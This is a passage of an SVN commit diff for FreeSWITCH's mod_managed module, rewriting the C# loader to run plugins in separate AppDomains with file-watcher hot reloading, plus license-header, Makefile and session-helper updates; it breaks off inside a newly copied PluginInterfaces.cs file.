Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/FreeSWITCH.Managed.pdb (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/FreeSWITCH.Managed.pdb)


(Binary files differ)

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Loader.cs (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Loader.cs	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Loader.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
- * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_cli
- * Copyright (C) 2008, Michael Giagnocavo <mgg@packetrino.com>
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ * Copyright (C) 2008, Michael Giagnocavo <mgg@giagnocavo.net>
  *
  * Version: MPL 1.1
  *
@@ -14,19 +14,20 @@
  * for the specific language governing rights and limitations under the
  * License.
  *
- * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_cli
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
  *
  * The Initial Developer of the Original Code is
- * Michael Giagnocavo <mgg@packetrino.com>
+ * Michael Giagnocavo <mgg@giagnocavo.net>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Michael Giagnocavo <mgg@packetrino.com>
+ * Michael Giagnocavo <mgg@giagnocavo.net>
  * David Brazier <David.Brazier@360crm.co.uk>
+ * Jeff Lenk <jeff@jefflenk.com>
  * 
- * Loader.cs -- mod_mono managed loader
+ * Loader.cs -- mod_managed loader
  *
  */
 
@@ -38,22 +39,35 @@
 using System.Reflection;
 using System.Runtime.InteropServices;
 
-namespace FreeSWITCH
-{
-    internal static class Loader
-    {
-        // Stores a list of the loaded function types so we can instantiate them as needed
-        static Dictionary<string, Type> functions = new Dictionary<string, Type>(StringComparer.OrdinalIgnoreCase);
-        // Only class name. Last in wins.
-        static Dictionary<string, Type> shortFunctions = new Dictionary<string, Type>(StringComparer.OrdinalIgnoreCase);
+namespace FreeSWITCH {
+    internal static class Loader {
 
-        #region Load/Unload
+        // Thunks
+        [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate bool ExecuteDelegate(string cmd, IntPtr streamH, IntPtr eventH);
+        [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate bool ExecuteBackgroundDelegate(string cmd);
+        [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate bool RunDelegate(string cmd, IntPtr session);
+        [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate bool ReloadDelegate(string cmd);
+        static readonly ExecuteDelegate _execute = Execute;
+        static readonly ExecuteBackgroundDelegate _executeBackground = ExecuteBackground;
+        static readonly RunDelegate _run = Run;
+        static readonly ReloadDelegate _reload = Reload;
+        //SWITCH_MOD_DECLARE_NONSTD(void) InitManagedDelegates(runFunction run, executeFunction execute, executeBackgroundFunction executeBackground, reloadFunction reload)
+        [DllImport("mod_managed", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)]
+        static extern void InitManagedDelegates(RunDelegate run, ExecuteDelegate execute, ExecuteBackgroundDelegate executeBackground, ReloadDelegate reload);
 
+        static readonly object loaderLock = new object();
+
         static string managedDir;
+        static string shadowDir;
+        
+        public static bool Load() {
+            managedDir = Path.Combine(Native.freeswitch.SWITCH_GLOBAL_dirs.mod_dir, "managed");
+            shadowDir = Path.Combine(managedDir, "shadow");
+            if (Directory.Exists(shadowDir)) {
+                Directory.Delete(shadowDir, true);
+                Directory.CreateDirectory(shadowDir);
+            }
 
-        public static bool Load()
-        {
-            managedDir = Path.Combine(Native.freeswitch.SWITCH_GLOBAL_dirs.mod_dir, "managed");
             Log.WriteLine(LogLevel.Debug, "FreeSWITCH.Managed loader is starting with directory '{0}'.", managedDir);
             if (!Directory.Exists(managedDir)) {
                 Log.WriteLine(LogLevel.Error, "Managed directory not found: {0}", managedDir);
@@ -61,147 +75,247 @@
             }
 
             AppDomain.CurrentDomain.AssemblyResolve += (_, rargs) => {
-                Log.WriteLine(LogLevel.Debug, "Trying to resolve assembly '{0}'.", rargs.Name);
+                Log.WriteLine(LogLevel.Info, "Resolving assembly '{0}'.", rargs.Name);
                 if (rargs.Name == Assembly.GetExecutingAssembly().FullName) return Assembly.GetExecutingAssembly();
-                var path = Path.Combine(managedDir, rargs.Name + ".dll");
-                Log.WriteLine(LogLevel.Debug, "Resolving to: '" + path + "'.");
+                var parts = rargs.Name.Split(',');
+                var path = Path.Combine(managedDir, parts[0] + ".dll");
+                Log.WriteLine(LogLevel.Info, "Resolving to: '" + path + "'.");
                 return File.Exists(path) ? Assembly.LoadFile(path) : null;
             };
 
-            InitManagedDelegates(_run, _execute, _executeBackground, _loadAssembly);
+            InitManagedDelegates(_run, _execute, _executeBackground, _reload);
 
-            // This is a simple one-time loader to get things in memory
-            // Some day we should allow reloading of modules or something
-            var allTypes = loadAssemblies(managedDir).SelectMany(a => a.GetExportedTypes());
-            loadFunctions(allTypes);
+            configureWatcher();
 
+            // Initial load
+            var allFiles = Directory.GetFiles(managedDir);
+            foreach (var file in allFiles) {
+                try {
+                    loadFile(file);
+                } catch (Exception ex) {
+                    Log.WriteLine(LogLevel.Error, "Exception loading file {0}: " + ex.ToString(), file);
+                }
+            }
+            initialLoadComplete = true;
             return true;
         }
 
-        public static bool LoadAssembly(string filename) {
+
+        // *** File watcher for changes
+        // Cheap queue hack is used because multiple related files can generate a bunch of changes
+        // and a single file can also trigger a few notifications. With a simple queue, these get batched
+        static readonly object watcherLock = new object();
+        static FileSystemWatcher watcher;
+        static System.Threading.Timer watcherTimer;
+        static HashSet<string> watcherFiles = new HashSet<string>();
+        static void configureWatcher() {
+            watcher = new FileSystemWatcher(managedDir);
+            watcher.IncludeSubdirectories = false;
+            watcher.NotifyFilter = NotifyFilters.FileName | NotifyFilters.LastWrite;
+            watcher.EnableRaisingEvents = true;
+            watcher.Changed += watcher_Changed;
+            watcher.Created += watcher_Changed;
+            watcher.Deleted += watcher_Changed;
+            watcher.Renamed += watcher_Changed;
+            watcherTimer = new System.Threading.Timer(_ => {
+                lock (watcherLock) {
+                    foreach (var file in watcherFiles) {
+                        try {
+                            loadFile(file);
+                        } catch (Exception ex) {
+                            Log.WriteLine(LogLevel.Error, "Exception loading change from {0}: {1}", file, ex.ToString());
+                        }
+                    }
+                    watcherFiles.Clear();
+                }
+            });
+            watcherTimer.Change(1000, 1000);
+        }
+        
+        static void watcher_Changed(object sender, FileSystemEventArgs e) {
+            Action<string> queueFile = x => { lock (watcherLock) { watcherFiles.Add(x); } };
             try {
-                string path = Path.Combine(managedDir, filename);
-                if (!File.Exists(path)) {
-                    Log.WriteLine(LogLevel.Error, "File not found: '{0}'.", path);
-                    return false;
+                if (!initialLoadComplete) return;
+                var file = e.FullPath;
+                var isConfig = Path.GetExtension(file).ToLowerInvariant() == ".config";
+                if (isConfig) {
+                    queueFile(Path.ChangeExtension(file, null));
+                } else {
+                    queueFile(file);
                 }
-                var asm = Assembly.LoadFile(path);
-                loadFunctions(asm.GetExportedTypes());
-                return true;
             } catch (Exception ex) {
-                Log.WriteLine(LogLevel.Error, "Exception in LoadAssembly('{0}'): {1}", filename, ex.ToString());
-                return false;
+                Log.WriteLine(LogLevel.Critical, "Unhandled exception watching for changes: " + ex.ToString());
             }
         }
 
-        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
-        delegate bool ExecuteDelegate(string cmd, IntPtr streamH, IntPtr eventH);
-        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
-        delegate bool ExecuteBackgroundDelegate(string cmd);
-        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
-        delegate bool RunDelegate(string cmd, IntPtr session);
-        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
-        delegate bool LoadAssemblyDelegate(string filename);
-        static readonly ExecuteDelegate _execute = Execute;
-        static readonly ExecuteBackgroundDelegate _executeBackground = ExecuteBackground;
-        static readonly RunDelegate _run = Run;
-        static readonly LoadAssemblyDelegate _loadAssembly = LoadAssembly;
-        //SWITCH_MOD_DECLARE(void) InitManagedDelegates(runFunction run, executeFunction execute, executeBackgroundFunction executeBackground, loadAssemblyFunction loadAssembly)  
-        [DllImport("mod_managed", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)]
-        static extern void InitManagedDelegates(RunDelegate run, ExecuteDelegate execute, ExecuteBackgroundDelegate executeBackground, LoadAssemblyDelegate loadAssembly);
+        static volatile bool initialLoadComplete = false;
+        static readonly List<PluginInfo> pluginInfos = new List<PluginInfo>(); 
+        // Volatile cause we haven't streamlined all the locking
+        // These dictionaries are never mutated; the reference is changed instead
+        static volatile Dictionary<string, AppPluginExecutor> appExecs = new Dictionary<string, AppPluginExecutor>(StringComparer.OrdinalIgnoreCase);
+        static volatile Dictionary<string, ApiPluginExecutor> apiExecs = new Dictionary<string, ApiPluginExecutor>(StringComparer.OrdinalIgnoreCase);
 
-        // Be rather lenient in finding the Load and Unload methods
-        static readonly BindingFlags methodBindingFlags =
-            BindingFlags.Static | // Required
-            BindingFlags.Public | BindingFlags.NonPublic | // Implementors might decide to make the load method private
-            BindingFlags.IgnoreCase | // Some case insensitive languages?
-            BindingFlags.FlattenHierarchy; // Allow inherited methods for hierarchies
+        static Dictionary<string, AppPluginExecutor> getAppExecs() {
+            lock (loaderLock) {
+                return appExecs;
+            }
+        }
+        static Dictionary<string, ApiPluginExecutor> getApiExecs() {
+            lock (loaderLock) {
+                return apiExecs;
+            }
+        }
 
-        static void loadFunctions(IEnumerable<Type> allTypes)
-        {
-            var functions = new Dictionary<string, Type>(Loader.functions, StringComparer.OrdinalIgnoreCase);
-            var shortFunctions = new Dictionary<string, Type>(Loader.shortFunctions, StringComparer.OrdinalIgnoreCase);
-            var filteredTypes = allTypes
-                .Where(t => !t.IsAbstract)
-                .Where(t => t.IsSubclassOf(typeof(AppFunction)) || t.IsSubclassOf(typeof(ApiFunction)));
-            foreach (var t in filteredTypes) {
-                try {
-                    if (functions.ContainsKey(t.FullName)) {
-                        functions.Remove(t.FullName);
-                        Log.WriteLine(LogLevel.Warning, "Replacing function {0}.", t.FullName);
-                    }
-                    var loadMethod = t.GetMethod("Load", methodBindingFlags, null, Type.EmptyTypes, null);
-                    var shouldLoad = Convert.ToBoolean(loadMethod.Invoke(null, null)); // We don't require the Load method to return a bool exactly
-                    if (shouldLoad) {
-                        Log.WriteLine(LogLevel.Notice, "Function {0} loaded.", t.FullName);
-                        functions.Add(t.FullName, t);
-                        shortFunctions[t.Name] = t;
-                    }
-                    else {
-                        Log.WriteLine(LogLevel.Notice, "Function {0} requested not to be loaded.", t.FullName);
-                    }
-                }
-                catch (Exception ex) {
-                    logException("Load", t.FullName, ex);
-                }
-            } 
-            Loader.functions = functions;
-            Loader.shortFunctions = shortFunctions;
+        class PluginInfo {
+            public string FileName { get; set; }
+            public AppDomain Domain { get; set; }
+            public PluginManager Manager { get; set; }
         }
 
-        static Assembly[] loadAssemblies(string managedDir)
-        {
-            // load the modules in the mod/managed directory
-            Log.WriteLine(LogLevel.Notice, "loadAssemblies: {0}", managedDir);
-            foreach (string s in Directory.GetFiles(managedDir, "*.dll", SearchOption.AllDirectories))
-            {
-                string f = Path.Combine(managedDir, s);
-                try {
-                    Log.WriteLine(LogLevel.Debug, "Loading '{0}'.", f);
-                    System.Reflection.Assembly.LoadFile(f);
-                }
-                catch (Exception ex) {
-                    Log.WriteLine(LogLevel.Notice, "Assembly.LoadFile failed; skipping {0} ({1})", f, ex.Message);
-                }
+        static int appDomainCount = 0;
+        static void loadFile(string fileName) {
+            // Attempts to load the file. On failure, it will call unload.
+            // Loading part does not take out a lock. 
+            // Lock is only done after loading is finished and dictionaries need updating.
+
+            // We might get a load for a file that's no longer there. Just unload the old one.
+            if (!File.Exists(fileName)) {
+                unloadFile(fileName);
+                return;
             }
 
-            return AppDomain.CurrentDomain.GetAssemblies();  // Includes anything else already loaded
-        }
+            Type pmType;
+            switch (Path.GetExtension(fileName).ToLowerInvariant()) {
+                case ".dll":
+                    pmType = typeof(AsmPluginManager);
+                    break;
+                case ".exe": // TODO these need to come from config
+                case ".fsx":
+                case ".vbx":
+                case ".csx":
+                case ".jsx":
+                    pmType = typeof(ScriptPluginManager);
+                    break;
+                default:
+                    pmType = null;
+                    break;
+            }
+            if (pmType == null) return;
 
-        public static void Unload()
-        {
-            Log.WriteLine(LogLevel.Debug, "FreeSWITCH.Managed Loader is unloading.");
-            foreach (var t in functions.Values) {
-                try {
-                    var unloadMethod = t.GetMethod("Unload", methodBindingFlags, null, Type.EmptyTypes, null);
-                    unloadMethod.Invoke(null, null);
+            // App domain setup
+            var setup = new AppDomainSetup();
+            if (File.Exists(fileName + ".config")) {
+                setup.ConfigurationFile = fileName + ".config";
+            }
+            setup.ApplicationBase = Native.freeswitch.SWITCH_GLOBAL_dirs.mod_dir;
+            setup.ShadowCopyDirectories = managedDir + ";";
+            setup.LoaderOptimization = LoaderOptimization.MultiDomainHost; // TODO: would MultiDomain work better since FreeSWITCH.Managed isn't gac'd?
+            setup.CachePath = shadowDir;
+            setup.ShadowCopyFiles = "true";
+            setup.PrivateBinPath = "managed";
+
+            // Create domain and load PM inside
+            System.Threading.Interlocked.Increment(ref appDomainCount);
+            setup.ApplicationName = Path.GetFileName(fileName) + "_" + appDomainCount;
+            var domain = AppDomain.CreateDomain(setup.ApplicationName, null, setup);
+                
+            PluginManager pm;
+            try {
+                pm = (PluginManager)domain.CreateInstanceAndUnwrap(pmType.Assembly.FullName, pmType.FullName, null);
+                if (!pm.Load(fileName)) {
+                    AppDomain.Unload(domain);
+                    unloadFile(fileName);
+                    return;
                 }
-                catch (Exception ex) {
-                    logException("Unload", t.FullName, ex);
-                }
+            } catch (Exception ex) {
+                // On an exception, we will unload the current file so an old copy doesnt stay active
+                Log.WriteLine(LogLevel.Alert, "Exception loading {0}: {1}", fileName, ex.ToString());
+                AppDomain.Unload(domain);
+                unloadFile(fileName);
+                return;
             }
+
+            // Update dictionaries atomically
+            lock (loaderLock) {
+                unloadFile(fileName);
+
+                var pi = new PluginInfo { FileName = fileName, Domain = domain, Manager = pm };
+                pluginInfos.Add(pi);
+                var newAppExecs = new Dictionary<string, AppPluginExecutor>(appExecs, StringComparer.OrdinalIgnoreCase);
+                var newApiExecs = new Dictionary<string, ApiPluginExecutor>(apiExecs, StringComparer.OrdinalIgnoreCase);
+                pm.AppExecutors.ForEach(x => x.Aliases.ForEach(y => newAppExecs[y] = x));
+                pm.ApiExecutors.ForEach(x => x.Aliases.ForEach(y => newApiExecs[y] = x));
+                appExecs = newAppExecs;
+                apiExecs = newApiExecs;
+                Action<PluginExecutor, string> printLoaded = (pe, type) => {
+                    var aliases = pe.Aliases.Aggregate((acc, x) => acc += ", " + x);
+                    Log.WriteLine(LogLevel.Notice, "Loaded {3} {0}, aliases '{1}', into domain {2}.", pe.Name, aliases, pi.Domain.FriendlyName, type);
+                };
+                pm.AppExecutors.ForEach(x => printLoaded(x, "App"));
+                pm.ApiExecutors.ForEach(x => printLoaded(x, "Api"));
+                Log.WriteLine(LogLevel.Info, "Finished loading {0} into domain {1}.", pi.FileName, pi.Domain.FriendlyName);
+            }
         }
 
-        #endregion
+        static void unloadFile(string fileName) {
+            List<PluginInfo> pisToRemove;
+            lock (loaderLock) {
+                pisToRemove = pluginInfos.Where(x => string.Compare(fileName, x.FileName, StringComparison.OrdinalIgnoreCase) == 0).ToList();
+                if (pisToRemove.Count == 0) return; // Done
 
-        #region Execution
+                var apisToRemove = pisToRemove.SelectMany(x => x.Manager.ApiExecutors).ToList();
+                var appsToRemove = pisToRemove.SelectMany(x => x.Manager.AppExecutors).ToList();
+                pluginInfos.RemoveAll(pisToRemove.Contains);
+                appExecs = appExecs.Where(x => !appsToRemove.Contains(x.Value)).ToDictionary(x => x.Key, x => x.Value, StringComparer.OrdinalIgnoreCase);
+                apiExecs = apiExecs.Where(x => !apisToRemove.Contains(x.Value)).ToDictionary(x => x.Key, x => x.Value, StringComparer.OrdinalIgnoreCase);
 
-        static Type getFunctionType<TFunction>(string fullName)
-        {
-            Type t;
-            if (!functions.TryGetValue(fullName, out t) || !t.IsSubclassOf(typeof(TFunction))) {
-                if (!shortFunctions.TryGetValue(fullName, out t) || !t.IsSubclassOf(typeof(TFunction))) {
-                    Log.WriteLine(LogLevel.Error, "Could not find function {0}.", fullName);
-                    return null;
+                Action<PluginExecutor, string> printRemoved = (pe, type) => {
+                    Log.WriteLine(LogLevel.Notice, "Unloaded {0} {1} (file {2}).", type, pe.Name, fileName);
+                };
+                apisToRemove.ForEach(x => printRemoved(x, "API"));
+                appsToRemove.ForEach(x => printRemoved(x, "App"));
+            }
+
+            pisToRemove.ForEach(pi => {
+                var t = new System.Threading.Thread(() => {
+                    var friendlyName = pi.Domain.FriendlyName;
+                    Log.WriteLine(LogLevel.Info, "Starting to unload {0}, domain {1}.", pi.FileName, friendlyName);
+                    try {
+                        var d = pi.Domain;
+                        pi.Manager.BlockUntilUnloadIsSafe();
+                        pi.Manager = null;
+                        pi.Domain = null;
+                        AppDomain.Unload(d);
+                        Log.WriteLine(LogLevel.Info, "Unloaded {0}, domain {1}.", pi.FileName, friendlyName);
+                    } catch (Exception ex) {
+                        Log.WriteLine(LogLevel.Alert, "Could not unload {0}, domain {1}: {2}", pi.FileName, friendlyName, ex.ToString());
+                    }
+                });
+                t.Priority = System.Threading.ThreadPriority.BelowNormal;
+                t.IsBackground = true;
+                t.Start();
+            });
+        }
+
+        static bool Reload(string cmd) {
+            try {
+                if (Path.IsPathRooted(cmd)) {  
+                    loadFile(cmd);
+                } else {
+                    loadFile(Path.Combine(managedDir, cmd));
                 }
+                return true;
+            } catch (Exception ex) {
+                Log.WriteLine(LogLevel.Error, "Error reloading {0}: {1}", cmd, ex.ToString());
+                return false;
             }
-            return t;
         }
 
+        // ******* Execution
+
         static readonly char[] spaceArray = new[] { ' ' };
         /// <summary>Returns a string couple containing the module name and arguments</summary>
-        static string[] parseCommand(string command)
-        {
+        static string[] parseCommand(string command) {
             if (string.IsNullOrEmpty(command)) {
                 Log.WriteLine(LogLevel.Error, "No arguments supplied.");
                 return null;
@@ -213,100 +327,73 @@
             }
             if (args.Length == 1) {
                 return new[] { args[0], "" };
-            }
-            else {
+            } else {
                 return args;
             }
         }
 
-        public static bool ExecuteBackground(string command)
-        {
+        public static bool ExecuteBackground(string command) {
             try {
                 var parsed = parseCommand(command);
                 if (parsed == null) return false;
                 var fullName = parsed[0];
                 var args = parsed[1];
-
-                var fType = getFunctionType<ApiFunction>(fullName);
-                if (fType == null) return false;
-
-                new System.Threading.Thread(() => {
-                    try {
-                        var f = (ApiFunction)Activator.CreateInstance(fType);
-                        f.ExecuteBackground(args);
-                        Log.WriteLine(LogLevel.Debug, "ExecuteBackground in {0} completed.", fullName);
-                    } catch (Exception ex) {
-                        logException("ExecuteBackground", fullName, ex);
-                    }
-                }).Start();
-                return true;
+                var execs = getApiExecs();
+                ApiPluginExecutor exec;
+                if (!execs.TryGetValue(fullName, out exec)) {
+                    Log.WriteLine(LogLevel.Error, "API plugin {0} not found.", fullName);
+                    return false;
+                }
+                return exec.ExecuteApiBackground(args);
             } catch (Exception ex) {
                 Log.WriteLine(LogLevel.Error, "Exception in ExecuteBackground({0}): {1}", command, ex.ToString());
                 return false;
             }
         }
 
-        public static bool Execute(string command, IntPtr streamHandle, IntPtr eventHandle)
-        {
-            System.Diagnostics.Debug.Assert(streamHandle != IntPtr.Zero, "streamHandle is null.");
-            var parsed = parseCommand(command);
-            if (parsed == null) return false;
-            var fullName = parsed[0];
-            var args = parsed[1];
-            
-            var fType = getFunctionType<ApiFunction>(fullName);
-            if (fType == null) return false;
+        public static bool Execute(string command, IntPtr streamHandle, IntPtr eventHandle) {
+            try {
+                System.Diagnostics.Debug.Assert(streamHandle != IntPtr.Zero, "streamHandle is null.");
+                var parsed = parseCommand(command);
+                if (parsed == null) return false;
+                var fullName = parsed[0];
+                var args = parsed[1];
 
-            using (var stream = new Native.Stream(new Native.switch_stream_handle(streamHandle, false)))
-            using (var evt = eventHandle == IntPtr.Zero ? null : new Native.Event(new Native.switch_event(eventHandle, false), 0)) {
-                
-                try {
-                    var f = (ApiFunction)Activator.CreateInstance(fType);
-                    f.Execute(stream, evt, args);
-                    return true;
-                }
-                catch (Exception ex) {
-                    logException("Execute", fullName, ex);
+                var execs = getApiExecs();
+                ApiPluginExecutor exec;
+                if (!execs.TryGetValue(fullName, out exec)) {
+                    Log.WriteLine(LogLevel.Error, "API plugin {0} not found.", fullName);
                     return false;
                 }
+                var res = exec.ExecuteApi(args, streamHandle, eventHandle);
+                return res;
+            } catch (Exception ex) {
+                Log.WriteLine(LogLevel.Error, "Exception in Execute({0}): {1}", command, ex.ToString());
+                return false;
             }
         }
 
-        /// <summary>Runs an application function.</summary>
-        public static bool Run(string command, IntPtr sessionHandle)
-        {
-            Log.WriteLine(LogLevel.Debug, "FreeSWITCH.Managed: attempting to run application '{0}'.", command);
-            System.Diagnostics.Debug.Assert(sessionHandle != IntPtr.Zero, "sessionHandle is null.");
-            var parsed = parseCommand(command);
-            if (parsed == null) return false;
-            var fullName = parsed[0];
-            var args = parsed[1];
+        public static bool Run(string command, IntPtr sessionHandle) {
+            try {
+                Log.WriteLine(LogLevel.Debug, "FreeSWITCH.Managed: attempting to run application '{0}'.", command);
+                System.Diagnostics.Debug.Assert(sessionHandle != IntPtr.Zero, "sessionHandle is null.");
+                var parsed = parseCommand(command);
+                if (parsed == null) return false;
+                var fullName = parsed[0];
+                var args = parsed[1];
 
-            var fType = getFunctionType<AppFunction>(fullName);
-            if (fType == null) return false;
-
-            using (var session = new Native.ManagedSession(new Native.SWIGTYPE_p_switch_core_session(sessionHandle, false))) {
-                session.Initialize();
-                session.SetAutoHangup(false);
-                try {
-                    var f = (AppFunction)Activator.CreateInstance(fType);
-                    f.RunInternal(session, args);
-                    return true;
-                }
-                catch (Exception ex) {
-                    logException("Run", fullName, ex);
+                AppPluginExecutor exec;
+                var execs = getAppExecs();
+                if (!execs.TryGetValue(fullName, out exec)) {
+                    Log.WriteLine(LogLevel.Error, "App plugin {0} not found.", fullName);
                     return false;
                 }
+                return exec.Execute(args, sessionHandle);
+            } catch (Exception ex) {
+                Log.WriteLine(LogLevel.Error, "Exception in Run({0}): {1}", command, ex.ToString());
+                return false;
             }
         }
-
-        static void logException(string action, string moduleName, Exception ex)
-        {
-            Log.WriteLine(LogLevel.Error, "{0} exception in {1}: {2}", action, moduleName, ex.Message);
-            Log.WriteLine(LogLevel.Debug, "{0} exception: {1}", moduleName, ex.ToString());
-        }
-
-        #endregion
     }
 
 }

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Log.cs (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Log.cs	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Log.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
- * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_cli
- * Copyright (C) 2008, Michael Giagnocavo <mgg@packetrino.com>
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ * Copyright (C) 2008, Michael Giagnocavo <mgg@giagnocavo.net>
  *
  * Version: MPL 1.1
  *
@@ -14,16 +14,16 @@
  * for the specific language governing rights and limitations under the
  * License.
  *
- * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_cli
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
  *
  * The Initial Developer of the Original Code is
- * Michael Giagnocavo <mgg@packetrino.com>
+ * Michael Giagnocavo <mgg@giagnocavo.net>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Michael Giagnocavo <mgg@packetrino.com>
+ * Michael Giagnocavo <mgg@giagnocavo.net>
  * 
  * Log.cs -- Log wrappers
  *

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,8 +3,8 @@
 clean:
 	rm -fr FreeSWITCH.Managed.dll
 
-FreeSWITCH.Managed.dll: Loader.cs ManagedSession.cs ApiFunction.cs AppFunction.cs Extensions.cs Log.cs Demo.cs swig.cs
-	gmcs -target:library -out:FreeSWITCH.Managed.dll -d:DEBUG Loader.cs ManagedSession.cs ApiFunction.cs AppFunction.cs Extensions.cs Log.cs Demo.cs swig.cs
+FreeSWITCH.Managed.dll: AssemblyInfo.cs Extensions.cs Loader.cs Log.cs ManagedSession.cs PluginInterfaces.cs PluginManager.cs ScriptPluginManager.cs swig.cs
+	gmcs -target:library -out:FreeSWITCH.Managed.dll AssemblyInfo.cs Extensions.cs Loader.cs Log.cs ManagedSession.cs PluginInterfaces.cs PluginManager.cs ScriptPluginManager.cs swig.cs
 
 install: FreeSWITCH.Managed.dll
 	$(INSTALL) FreeSWITCH.Managed.dll $(DESTDIR)$(MODINSTDIR)

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/ManagedSession.cs (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/ManagedSession.cs	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/ManagedSession.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
- * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_cli
- * Copyright (C) 2008, Michael Giagnocavo <mgg@packetrino.com>
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ * Copyright (C) 2008, Michael Giagnocavo <mgg@giagnocavo.net>
  *
  * Version: MPL 1.1
  *
@@ -14,16 +14,16 @@
  * for the specific language governing rights and limitations under the
  * License.
  *
- * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_cli
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
  *
  * The Initial Developer of the Original Code is
- * Michael Giagnocavo <mgg@packetrino.com>
+ * Michael Giagnocavo <mgg@giagnocavo.net>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Michael Giagnocavo <mgg@packetrino.com>
+ * Michael Giagnocavo <mgg@giagnocavo.net>
  * 
  * ManagedSession.cs -- ManagedSession additional functions
  *
@@ -66,14 +66,10 @@
         /// <summary>Function to execute when this session hangs up.</summary>
         public Action HangupFunction { get; set; }
 
-        /// <summary>Sets the application that should have it's run thread aborted (if enabled) when this session is hungup.</summary>
-        internal AppFunction AppToAbort { get; set; }
-
         void hangupCallback()
         {
             Log.WriteLine(LogLevel.Debug, "AppFunction is in hangupCallback.");
             try {
-                if (AppToAbort != null) AppToAbort.AbortRun();
                 var f = HangupFunction;
                 if (f != null) f();
             }
@@ -121,5 +117,21 @@
             }
         }
 
+        // Convenience
+        public bool IsAvailable {
+            get { return this.Ready(); }
+        }
+
+        Guid _uuid;
+        bool _uuidSet;
+        public Guid Uuid {
+            get {
+                if (!_uuidSet) {
+                    _uuid = new Guid(this.GetUuid());
+                    _uuidSet = true;
+                }
+                return _uuid;
+            }
+        }
     }
 }

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/PluginInterfaces.cs (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/PluginInterfaces.cs) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/PluginInterfaces.cs	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/PluginInterfaces.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,91 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ * Copyright (C) 2008, Michael Giagnocavo <mgg@giagnocavo.net>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ *
+ * The Initial Developer of the Original Code is
+ * Michael Giagnocavo <mgg@giagnocavo.net>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Michael Giagnocavo <mgg@giagnocavo.net>
+ * Jeff Lenk <jeff@jefflenk.com>
+ * 
+ * PluginInterfaces.cs -- Public interfaces for plugins
+ *
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace FreeSWITCH {
+
+    public class AppContext {
+        readonly string arguments;
+        readonly Native.ManagedSession session;
+
+        public AppContext(string arguments, Native.ManagedSession session) {
+            this.arguments = arguments;
+            this.session = session;
+        }
+
+        public string Arguments { get { return arguments; } }
